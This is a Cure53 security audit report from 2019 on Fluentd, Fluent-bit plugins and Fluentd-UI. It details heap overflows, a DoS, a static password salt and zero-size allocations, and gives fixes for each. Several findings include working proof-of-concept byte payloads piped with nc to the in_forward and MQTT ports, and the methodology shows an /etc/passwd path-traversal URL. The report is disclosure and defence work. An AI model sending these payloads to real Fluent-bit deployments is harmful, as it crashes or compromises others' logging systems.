Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Pentest-Report Fluentd, Fluent-Bit Plugins 05.2019

Cure53, Dr.-Ing. M. Heiderich, M. Wege, MSc. N. Krein, BSc. J. Hector, BSc. F. Fäßler

Index

Introduction

"fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data."

From https://www.fluentd.org/architecture

This report showcases the results of a security assessment targeting the Fluentd software compound. Carried out by Cure53 in May 2019, this project entailed both a penetration test and a source code audit. Besides Fluentd itself, the core scope also included selected Fluent-bit plugins. Further, a brief analysis of the Fluentd-UI was also conducted. Six security-relevant discoveries were made by Cure53 during the assessment.

As for the resources, this test was executed by five members of the Cure53 team. The testers dedicated a total of eighteen days to the project and it is believed that good coverage has been reached within the available budget. As with many other CNCF-related projects, Cure53 chose to employ a two-pronged approach to evaluating the security premise of the Fluentd project. Consequently, the available time has been split to allow for combining the source code audit with actual penetration testing against a locally built setup.

It can be derived from the above that a white-box methodology has been chosen and used. This has proven optimal in previous CNCF-related security assessments and indeed worked well for this Fluentd-Cure53 cooperation. To be able to investigate the scope in a comprehensive manner, Cure53 had access to all relevant sources. While no maintainer-provided setup was available for this test, Cure53 relied on several locally built setups when testing possible vulnerabilities for exploitability.

Contrary to numerous CNCF projects audited by Cure53 in the recent past, the Fluentd project does not rely on the Go language code as much. In fact, the code had been written mostly in Ruby for Fluentd and in C/C++ for Fluent-bit. This certainly influenced the array of tests in that, for instance, Cure53 viewed fuzzing with AFL as a viable route to spotting possible weaknesses.

Unsurprisingly, the tests yielded more numerous and more diverse issues than the assessments against the typical projects in Go. As noted, Cure53 managed to spot six issues, four of which were considered to be vulnerabilities and two are documented as general weaknesses. Three out of four vulnerabilities were ranked as "*Critical*" in terms of severity. Quite clearly, these signify extreme risks and exploitability levels. Note however that all documented issues have been spotted in the Fluent-bit and Fluentd-UI codebases, Fluentd itself passed the tests without noteworthy findings.

In the following sections, this report will first shed light on the scope by supplying the URLs to all Fluentd platforms and code repositories in scope. Next up, the focus is shifted to methodology and coverage. The report then furnishes case-by-case descriptions of the findings, featuring both technical details and possible mitigation going forward when applicable. Based on the results of this spring 2019 assessment, Cure53 issues a broader verdict about the privacy and security posture of the tested items. Conclusions about the Fluentd software complex - including Fluent-bit and Fluentd-UI are supplied in the final section of this document.

Scope

- **Fluentd software, Fluent-bit plugins, Fluentd web-UI**
    - https://github.com/fluent/fluentd
    - https://github.com/fluent/fluent-bit
        - Inspected plugins were:
            - *in_tail*
            - *in_forward*
            - *out_forward*
            - *out_elasticsearch*
            - *filter_kubernetes*
    - https://github.com/fluent/fluentd-ui
        - minor emphasis, early terminated and moved out of scope

Test Methodology

The following paragraphs describe the testing methodology used during the audit of the Fluentd codebase and the selected external plugins. The test was divided into two phases, each fulfilling different goals. In the first phase, the focus was on manual source code reviews needed to spot insecure code patterns. In this realm, issues around memory corruption, information leakage or similar flaws can often be found. During the second phase, it was evaluated whether the stated security goals and premise can, in fact, withstand real-life attack scenarios.

Part 1. Manual code auditing

This section lists the steps completed during the first phase of the audit against the Fluentd unified logging layer. It describes the key aspects of the manual code audit. Since only a few minor issues were spotted during this part, the list portrays the thoroughness of the penetration test and ascertains the quality of the project.

- General Ruby command/code sinks were checked, particularly in respect to their application within the mechanics of plugin integration and execution.
- Special focus was given to the *out_exec* plugin. Since the command to be executed is solely configured via a configuration file and the influenceable arguments are correctly bound, no obvious vulnerability was discovered.
- Additional time was spent on checking the functionality of the *in_tail*, *out_mongodb*, *in_http*, *filter_** and *parser_** plugins for path traversals and LPE.
- The rather limited HTTP-server component only exposes a few endpoints with minimal request support and without actionable attack surface.
- Found the HTTP-client to support multiple types of HTTP-servers to post metric data to; verified the handling of critical response headers like *Content-Length*.
- *in_tail* was audited for buffer overflows in its database functionality, in particular for the usage of '%s' in query construction, along with SQL injection. Extra time was spent on the verification of *docker_mode* JSON parsing.
- Typically insecure sinks common in C applications (like *sprintf*, *snprintf*, *memcpy*, *strcpy*, etc.) were checked for incorrect usage but found unexploitable.
- Checked authentication handling which was quickly dismissed since exploiting the timing-unsafe code constitutes a rather unrealistic scenario.
- Audited the base implementation and derived use of *protect_from_forgery* within the *ApplicationController* without being able to identify weaknesses.
- The insecure use of *send* within Mass-Assignment was deemed unexploitable.
- Password-change functionality was evaluated, field checks are done correctly.
- Handling of Rails' secrets was checked for possibly implicated RCE weakness.
- Potentially insecure sinks like *const_get*, *system* and `` were found unexploitable.
- Calls to *File.open* and similar functions were found to be somewhat abusable (http://localhost:9292/api/file_preview?file=/etc/passwd). Later on, they were deemed unexploitable since they are only part of the application's logic and *log-file* parsing.

Part 2. Code-assisted penetration testing

The following list documents the steps completed during the second part of the test. A code-assisted penetration test was executed against several local, Fluentd installations created by the testers themselves. Since only a few miscellaneous issues were found during the first part of the audit, this additional approach was used to ensure maximum coverage of the somewhat loosely defined attack surface. A fuzzer was successfully employed to further support the discovery of otherwise very-hard-to-find vulnerabilities.

- A dedicated AFL fuzzing-environment was set up to check the parsing functionality of the external plugins contained within *fluent-bit*. These entailed:
    - *flb_pack_json_state*

  - *flb_msgpack_raw_to_json_str*
  - *flb_pack_json*
  - *flb_router_match*
  - *fw_prot_process*
  - *mqtt_prot_parser*
- Started investigating the root cause of the FLU-01-003 crash but moved to other priorities in order to be able to spend more time on the yet uncovered aspects of the code.
- Additional pentesting and fuzzing of *in_forward* was undertaken, in particular in looking at the aspects of *msgpack* used for the unpacking of JSON data.
- Further investigation of the remaining crashes within *in_forward* and the dependent *msgpack* was attempted but did not yield anything of value.
- ACLs were tested briefly, looking for endpoints that are reachable without being authenticated or could potentially be vulnerable to CSRF attacks.
- Finally, to save time and resources, test-setups of the dependently complicated components like *filter_kubernetes*, extensive pentesting and fuzzing were replaced with purely manual code auditing.

Identified Vulnerabilities

The following sections list both vulnerabilities and implementation issues spotted during the testing period. Note that findings are listed in chronological order rather than by their degree of severity and impact. The aforementioned severity rank is simply given in brackets following the title heading for each vulnerability. Each vulnerability is additionally given a unique identifier (e.g. *FLU-01-001*) for the purpose of facilitating any future follow-up correspondence.

FLU-01-003 *fluent-bit/in_forward*: Heap overflow via negative length (*Critical*)

In fluent-bit's *in_forward* plugin, it was possible to spot an exploitable remote heap buffer overflow vulnerability. This happens due to incorrect handling of faulty *msgpack* payloads. The vulnerable code can be seen in the following excerpts of the application's code.

Affected File:
fluent-bit/plugins/in_forward/fw_prot.c

Affected Code:
```
int fw_prot_process(struct fw_conn *conn)
{
[...]
    unp = msgpack_unpacker_new(1024);
    msgpack_unpacked_init(&result);
    conn->rest = conn->buf_len;

    while (1) {
        recv_len = receiver_to_unpacker(conn, EACH_RECV_SIZE, unp);

        if (recv_len == 0) {
            /* No more data */
            msgpack_unpacker_free(unp);
            msgpack_unpacked_destroy(&result);

            /* Adjust buffer data */

            if (all_used > 0) {
                memmove(conn->buf, conn->buf + all_used,
                        conn->buf_len - all_used);
                conn->buf_len -= all_used;
            }

            return 0;
        }

        /* Always summarize the total number of bytes requested to parse */
        buf_off += recv_len;

        ret = msgpack_unpacker_next_with_size(unp, &result, &bytes);

        while (ret == MSGPACK_UNPACK_SUCCESS) {
[...]
            all_used += bytes;
[...]
            ret = msgpack_unpacker_next(unp, &result);
        }
```

In the call to *memmove*, it is assumed that *conn->buf_len* is always larger than *all_used*. Therefore, both values are subtracted to calculate the necessary length for the *memmove* operation in order to continue with the next *msgpack* packet. However, the payload below shows that this assumption can be broken.

PoC Payload:

```
echo -ne "\x98\xa0\xa0AAA\xa9AAAAAAAAAAA\x98\xa0\xa0AAAAAA" | nc localhost 24224
```

The incomplete packet fields cause *msgpack_unpacker_next_with_size* to return and correctly write the value *18* to the *bytes* variable. However, the loop below will iterate two times, thus causing *bytes* to be added two times to *all_used.* As a result, *all_used* equals *36* because the last call to *msgpack_unpacker_next* will incorrectly return *MSGPACK_UNPACK_SUCCESS*. Although no following packet exist, *memmove* will be called with a length value of *-9*, causing a heap overflow. The fact that the operation acts on user-controlled buffers makes successful exploitation very likely. The following excerpt additionally shows the generated *ASAN* report.

ASAN output:
```
$ ./bin/fluent-bit -i forward -o stdout
Fluent Bit v1.2.0
Copyright (C) Treasure Data

[2019/05/17 15:50:37] [ info] [storage] initializing...
[2019/05/17 15:50:37] [ info] [storage] in-memory
[2019/05/17 15:50:37] [ info] [storage] normal synchronization mode, checksum
disabled
[2019/05/17 15:50:37] [ info] [engine] started (pid=4661)
[2019/05/17 15:50:37] [ info] [in_fw] binding 0.0.0.0:24224
[2019/05/17 15:50:37] [ info] [sp] stream processor started
=================================================================
==4661==ERROR: AddressSanitizer: negative-size-param: (size=-9)
    #0 0x7f8b729191a0 in __interceptor_memmove
(/usr/lib/x86_64-linux-gnu/libasan.so.4+0x7b1a0)
    #1 0x562a4c0ae70a in fw_prot_process
fluent-bit/plugins/in_forward/fw_prot.c:136
    #2 0x562a4c0acc47 in fw_conn_event
fluent-bit/plugins/in_forward/fw_conn.c:74
    #3 0x562a4c01c90f in flb_engine_start fluent-bit/src/flb_engine.c:514
    #4 0x562a4bff9e21 in main fluent-bit/src/fluent-bit.c:862
    #5 0x7f8b718d8b96 in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #6 0x562a4bff6ef9 in _start (fluent-bit/build/bin/fluent-bit+0xa7ef9)

0x62d000000424 is located 36 bytes inside of 32768-byte region
[0x62d000000400,0x62d000008400)
allocated by thread T0 here:
    #0 0x7f8b7297cb50 in __interceptor_malloc
(/usr/lib/x86_64-linux-gnu/libasan.so.4+0xdeb50)
    #1 0x562a4c0ac67a in flb_malloc fluent-bit/include/fluent-bit/flb_mem.h:58
    #2 0x562a4c0acf18 in fw_conn_add fluent-bit/plugins/in_forward/fw_conn.c:122
    #3 0x562a4c0abd06 in in_fw_collect fluent-bit/plugins/in_forward/fw.c:92
    #4 0x562a4c00bd0b in flb_input_collector_fd fluent-bit/src/flb_input.c:847
    #5 0x562a4c01c4e6 in flb_engine_handle_event fluent-bit/src/flb_engine.c:262
    #6 0x562a4c01c4e6 in flb_engine_start fluent-bit/src/flb_engine.c:487
    #7 0x562a4bff9e21 in main fluent-bit/src/fluent-bit.c:862
    #8 0x7f8b718d8b96 in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x21b96)

SUMMARY: AddressSanitizer: negative-size-param
(/usr/lib/x86_64-linux-gnu/libasan.so.4+0x7b1a0) in __interceptor_memmove
==4661==ABORTING
```

It is recommended to implement an additional check and make sure that *all_used* is not larger than the original buffer size that is stored in *conn->buf_len*.

FLU-01-004 *fluent-bit*: Missing Error-Checking leads to DoS (*Medium*)

Next to FLU-01-003, additional fuzzing led to the discovery of a DoS vulnerability due to invalid memory access. This happens because in the same code path *msgpack-_unpacker_next_with_size* can return with an error code that is not taken care off.

Affected File:

fluent-bit/plugins/in_forward/fw_prot.c

Affected Code:
```
while (1) {
  recv_len = receiver_to_unpacker(conn, EACH_RECV_SIZE, unp);
[...]
  /* Always summarize the total number of bytes requested to parse */
  buf_off += recv_len;
  ret = msgpack_unpacker_next_with_size(unp, &result, &bytes);
  while (ret == MSGPACK_UNPACK_SUCCESS) {
```

As one can see in the code above, *msgpack_unpacker_next_with_size* is only checked against *MSGPACK_UNPACK_SUCCESS* without actually bailing out of the surrounding *while (1)*-loop when invalid packets are sent. As such, using for example an incomplete EXT-format packet (opcode *0xc9*) causes a parse error that is not caught, so that the next invocation of *msgpack_unpacker_next_with_size* happens on invalid memory offsets. The following payload can be used to confirm the issue:

PoC Payload:
```
$ echo -ne "\x8aAAAAAAAAAAAAAAAAAAA\x8fAAAAA\xc9\xff\xff\xff\xffAAAA" | nc
localhost 24224
```

***ASAN* Output:**
```
$ ./bin/fluent-bit -i forward -o stdout
Fluent Bit v1.2.0
Copyright (C) Treasure Data


[2019/05/17 15:48:14] [ info] [storage] initializing...
[2019/05/17 15:48:14] [ info] [storage] in-memory
```

```
[2019/05/17 15:48:14] [ info] [storage] normal synchronization mode, checksum
disabled
[2019/05/17 15:48:14] [ info] [engine] started (pid=4650)
[2019/05/17 15:48:14] [ info] [in_fw] binding 0.0.0.0:24224
[2019/05/17 15:48:14] [ info] [sp] stream processor started
[...]
=================================================================
==4650==ERROR: AddressSanitizer: SEGV on unknown address 0x6191000000a1 (pc
0x556822ee8e2b bp 0x7ffd2490e3a0 sp 0x7ffd2490e370 T0)
==4650==The signal is caused by a READ memory access.
  #0 0x556822ee8e2a in template_callback_ext
fluent-bit/lib/msgpack-3.1.1/src/unpack.c:277
  #1 0x556822eeb93e in template_execute
fluent-bit/lib/msgpack-3.1.1/include/msgpack/unpack_template.h:350
  #2 0x556822eee15b in msgpack_unpacker_execute
fluent-bit/lib/msgpack-3.1.1/src/unpack.c:471
  #3 0x556822eee5a8 in unpacker_next
fluent-bit/lib/msgpack-3.1.1/src/unpack.c:538
  #4 0x556822eee761 in msgpack_unpacker_next_with_size fluent-bit/lib/msgpack-
3.1.1/src/unpack.c:575
  #5 0x556822a98763 in fw_prot_process
fluent-bit/plugins/in_forward/fw_prot.c:147
  #6 0x556822a96c47 in fw_conn_event fluent-bit/plugins/in_forward/fw_conn.c:74
  #7 0x556822a0690f in flb_engine_start fluent-bit/src/flb_engine.c:514
  #8 0x5568229e3e21 in main fluent-bit/src/fluent-bit.c:862
  #9 0x7f93229d2b96 in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
  #10 0x5568229e0ef9 in _start (fluent-bit/build/bin/fluent-bit+0xa7ef9)


AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV fluent-bit/lib/msgpack-3.1.1/src/unpack.c:277 in
template_callback_ext
```

It is recommended to extend the error checking of *msgpack_unpacker_next_with_size* and include a code path that bails out accordingly whenever this function returns with e.g. *MSGPACK_UNPACK_PARSE_ERROR*.

FLU-01-005 *fluent-bit/in_mqtt*: Heap overflow in *MQTT* parser (***Critical***)

During the fuzzing investigation of *fluent-bit*, some crashes in *MQTT* were observed. Because this input plugin was not included in the scope, the crash at hand was not further explored. However, the output below and minimal review shows that the crash happens due to a heap overflow. In general, the *MQTT* parser trusts fields of the incoming input, such as the *length*. Thus, the parser might access the data outside of the allocated buffer.

Affected File:
/fluent-bit/plugins/in_mqtt/mqtt_prot.c

Affected Code:
The following code shows how the *hlen* is taken from the current *buf_pos* and then added back again later. Thus, it can move the *buf_pos* outside of the bounds of the buffer *buf[1024]*.

```
#define BUFC()    conn->buf[conn->buf_pos]
// [...]
/* Topic */
hlen = BUFC() << 8;
conn->buf_pos++;
hlen |= BUFC();
conn->buf_pos++;
topic     = conn->buf_pos;
topic_len = hlen;
conn->buf_pos += hlen;
```

Proof of Concept:
In order to reproduce the issue, *fluent-bit* should be built with the address sanitizer enabled. Otherwise, the process will not immediately crash. The following command will send the malicious test-case to the server.

```
echo -e -n "\x10\x00\x10\x04\x4d\x6b\x54\x32\x34\x01\x00\x34\x01\x00\x34\x00\
xfe\x34\x01\x00\x3c\xf1\x0a\x01\x00\x34\x01\x00\x34\x01\x00\x34\x01\x00\x00\x00\
x0a\x39\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\
x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7b\x7d\x39\x79\x6b\x6b\x6b\x6b\x6b\x6b\
x6b\x6b\x74\x72\x6b\x68\x6b\x6b\x6b\x6b\x09\x00\x6b\x09\x00\x0a\x39\x79" | nc
127.0.0.1 1883
```

Once the server receives the message, *ASAN* will catch the heap overflow and aborts with the following message:

```
[2019/05/19 13:08:58] [ warn] MQTT Packet incomplete or is not JSON
=================================================================
==79610==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x61900000ff04
at pc 0x5586210a0da4 bp 0x7ffd9f57e120 sp 0x7ffd9f57e110
READ of size 1 at 0x61900000ff04 thread T0
    #0 0x5586210a0da3 in mqtt_handle_publish
/pwd/fix/fluent-bit/plugins/in_mqtt/mqtt_prot.c:249
```

```
    #1 0x5586210a1b3e in mqtt_prot_parser
/pwd/fix/fluent-bit/plugins/in_mqtt/mqtt_prot.c:381
    #2 0x55862109de28 in mqtt_conn_event
/pwd/fix/fluent-bit/plugins/in_mqtt/mqtt_conn.c:48
    #3 0x55862101409f in flb_engine_start
/pwd/fix/fluent-bit/src/flb_engine.c:514
    #4 0x558620ff15b1 in main /pwd/fix/fluent-bit/src/fluent-bit.c:862
    #5 0x7fb161476b96 in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #6 0x558620fee689 in _start (/pwd/fix/fluent-bit/build/bin/fluent-
bit+0x8b689)

Address 0x61900000ff04 is a wild pointer.
SUMMARY: AddressSanitizer: heap-buffer-overflow
/pwd/fix/fluent-bit/plugins/in_mqtt/mqtt_prot.c:249 in mqtt_handle_publish
Shadow bytes around the buggy address:
  0x0c327fff9fd0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
=>0x0c327fff9fe0:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fff9ff0: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
  0x0c327fffa000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
```

The *MQTT* parser should be hardened with additional checks of the *buf_pos*, so that it cannot be larger than the size of the *buf[1024]* buffer. It should also be noted that the *buf_pos* is an integer, which means it could be negative. This negative index could also lead to a heap overflow, thus the position should also not allow values smaller than 0.

FLU-01-006 *fluent-bit/in_mqtt*: Heap overflow due to negative size (*Critical*)

Another exploitable heap overflow in the *MQTT* input plugin was found and could be attributed to a negative length value.

Affected File:
/fluent-bit/plugins/in_mqtt/mqtt_prot.c

Affected Code:
The *mqtt_packet_drop* function assumes that the *move_bytes* derived from the *buf_pos* are always smaller than the *buf_len*, however this did not hold true. As such, it can lead to a negative size value being issued to a *memmove*.

```
// mqtt_packet_drop
    move_bytes = conn->buf_pos + 1;
    memmove(conn->buf,
            conn->buf + move_bytes,
            conn->buf_len - move_bytes);
```

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

Proof of Concept:

An *ASAN* build is not required to reproduce the issue, however it is helpful for the analysis. The following message will trigger the bad *memmove.*

```
echo -n -e "\x10\x80\x80\x00\x30\x89\x80\x00\x30\x80\x80\x00\x31\x2b\x45" | nc
127.0.0.1 1883
```

If tested without *ASAN,* the malicious packet will lead to a segmentation fault crash. However, if *ASAN* is enabled, the following output can be observed:

```
==6959==ERROR: AddressSanitizer: negative-size-param: (size=-2)
    #0 0x7f887df041a0 in __interceptor_memmove
(/usr/lib/x86_64-linux-gnu/libasan.so.4+0x7b1a0)
    #1 0x5637953a6e66 in mqtt_packet_drop
/pwd/fix/fluent-bit/plugins/in_mqtt/mqtt_prot.c:84
    #2 0x5637953a8ca8 in mqtt_prot_parser
/pwd/fix/fluent-bit/plugins/in_mqtt/mqtt_prot.c:398
    #3 0x5637953a4e28 in mqtt_conn_event
/pwd/fix/fluent-bit/plugins/in_mqtt/mqtt_conn.c:48
    #4 0x56379531b09f in flb_engine_start
/pwd/fix/fluent-bit/src/flb_engine.c:514
    #5 0x5637952f85b1 in main /pwd/fix/fluent-bit/src/fluent-bit.c:862
    #6 0x7f887cec3b96 in __libc_start_main
(/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
    #7 0x5637952f5689 in _start (/pwd/fix/fluent-bit/fluent-bit_asan+0x8b689)
```

In addition to the bounds-checks on the *buf_pos* recommended in FLU-01-005, further checks should be introduced to ensure that the *buf_pos+1* never exceeds the *buf_len*.

Miscellaneous Issues

This section covers those noteworthy findings that did not lead to an exploit but might aid an attacker in achieving their malicious goals in the future. Most of these results are vulnerable code snippets that did not provide an easy way to be called. Conclusively, while a vulnerability is present, an exploit might not always be possible.

FLU-01-001 *fluent-ui*: User-model implements static password-salt *(Low)*

During an analysis of the *fluentd*'s user-interface for common web security vulnerabilities, it was noticed that the administrator's password hash is insecurely generated. This is because for each *fluent-ui* installation, a fixed *salt* value is chosen for the *SHA1* hash algorithm. Here, the salt is manually concatenated with the user's plain-text password beforehand, as one can see in the affected lines below.

Affected File:
fluentd-ui/app/models/user.rb

Affected Code:
```
class User
  include ActiveModel::Model

  SALT = "XG16gfdC5IFRaQ3c".freeze
  ENCRYPTED_PASSWORD_FILE = FluentdUI.data_dir + "/#{Rails.env}-user-pwhash.txt"
[...]
def digest(unencrypted_password)
  unencrypted_password ||= ""
  hash = Digest::SHA1.hexdigest(SALT + unencrypted_password)
  stretching_cost.times do
    hash = Digest::SHA1.hexdigest(hash + SALT + unencrypted_password)
  end
  hash
end
```

Having a static *salt* value creates multiple problems. While password salts are usually chosen to prevent rainbow table attacks, having a static *salt* in popular applications makes it easily possible to create new rainbow tables that are applicable for each installation of *fluent-ui*. Additionally, using a single fixed *salt* also means that every user who inputs the same password will have the same hash. While the latter scenario is not directly applicable to *fluent-ui* (because only one user usually exists), this still shows a bad security practice.

It is recommended to replace the current hashing mechanism with a modern password hashing function such as *Argon2*.[1] This will automatically switch out the old *SHA1* algorithm and provide additional parameters for the *cost* value as well.

FLU-01-002 *fluent-bit: flb_malloc*-functions permit zero-sized allocations *(Low)*

During the audit of the *fluent-bit*'s memory management functionality, it was noticed that the implemented wrappers around *malloc* omit a size-check for zero-size parameters. This can be seen in the following excerpt from the application's source code.

Affected File:
fluent-bit/include/fluent-bit/flb_mem.h

Affected Code:
```
void *flb_malloc(const size_t size) {
    void *aux;

    aux = malloc(size);
    if (flb_unlikely(!aux && size)) {
        return NULL;
    }

    return aux;
}
```

Due to the fact that some functions with user-controlled length fields are called without additional integer overflow checks. This is depicted next.

Affected File:
fluent-bit/plugins/in_tail/tail_dockermode.c

Affected Code:
```
static int unesc_ends_with_nl(char *str, size_t len)
{
    char* unesc;
    int unesc_len;
    int nl;

    unesc = flb_malloc(len + 1);
    if (!unesc) {
        flb_errno();
        return FLB_FALSE;
    }
    unesc_len = flb_unescape_string(str, len, &unesc);
```

[1] https://github.com/technion/ruby-argon2

In these examples, it is possible that with a *len*-value of *0xffffffff* (-1), the allocation size wraps around to 0. As such, *flb_malloc* will call *malloc* with a size of 0 as well, thus causing a zero-sized heap allocation. This will later lead to an additional heap buffer overflow in *flb_unescape_string.* The reason is that *len* itself will still remain at *0xffffffff* and causes out-of-bounds writes.

To prevent this scenario from being exploitable, it is recommended to implement an additional check on *flb_malloc* and only go forward with the allocation when the size parameter is greater than 0. This counts for all the remaining wrappers around *realloc* and *calloc* as well.

Conclusions

The overall impression gained from this 2019 assessment of the Fluentd complex is rather mixed. This applies to the entire scope, also to the Fluentd unified logging layer, and points to the fact that the Cure53 team managed to spot both some strengths and significant weaknesses on the Fluentd scope.

Before presenting the conclusions, it should be clarified that this Cure53 investigation of the Fluentd software compound was generously sponsored by The Linux Foundation / Cloud Native Computing Foundation, which enabled a team consisting of five Cure53 testers to investigate the software system over the course of eighteen days in May of 2019. All in all, good coverage of the somewhat loosely and only incrementally defined scope has been achieved, which is paramount in relation to a large amount of the existing external plugins and their respective implicit dependencies. In that sense, the results of this assessment can only reflect the quality of a comparably small area of the project's rather extensive range. In particular, the components added to the scope at the very end of the investigation were eventually left out to produce better coverage of the previously defined components.

On the one hand, the findings spotted during the initial manual code audit of the Fluentd codebase did not unveil any major vulnerabilities. On the other hand, the penetration test of the locally created installations and the fuzzing of the selected external plugins resulted in a number of problems with significant severities - as evidenced by four "*Critical"*-severity issues. This apparent gap in the code quality between the main codebase and the selected external plugins is a cause of concern and represents room for growth. The choice of implementation language seems to play a large role in this disparity. While the main codebase was implemented within the Ruby environment, the examined external plugins were mostly implemented in native C language. Drawing on these observations, the code quality seems to widely vary across the board.

Dr.-Ing. Mario Heiderich, Cure53
Bielefelder Str. 14
D 10709 Berlin
cure53.de · mario@cure53.de

The auditors recommend for the codebase, inclusive of all external plugins, especially the ones implemented in native C, to be further audited for weaknesses akin to the ones uncovered by this investigation. Furthermore, because of timing and coverage constraints, some of the discovered vulnerabilities were not analyzed to their very root causes. As such, they should be investigated in full by the in-house developers. The fuzzing against individual plugins should be continued since a respectable amount of additional crashes did not lead to exploitable vulnerabilities but pointed to additional, yet unknown problems. Apart from the above concerns, the aspects of the codebase implemented within the Ruby environment can be seen as shipping good quality code and a well-established security premise. Considering the rather large number of plugins, it can be advised to split the external plugins into two distinct quality groups: the few that have been audited already and which can be trusted more than the many that have been somewhat neglected so far.

Cure53 would like to thank Eduardo Silva and Yuta Iwama from the Fluentd development team as well as Chris Aniszczyk of The Linux Foundation, for their project coordination, support and assistance, both before and during this assignment. Special gratitude also needs to be extended to The Linux Foundation for sponsoring this project.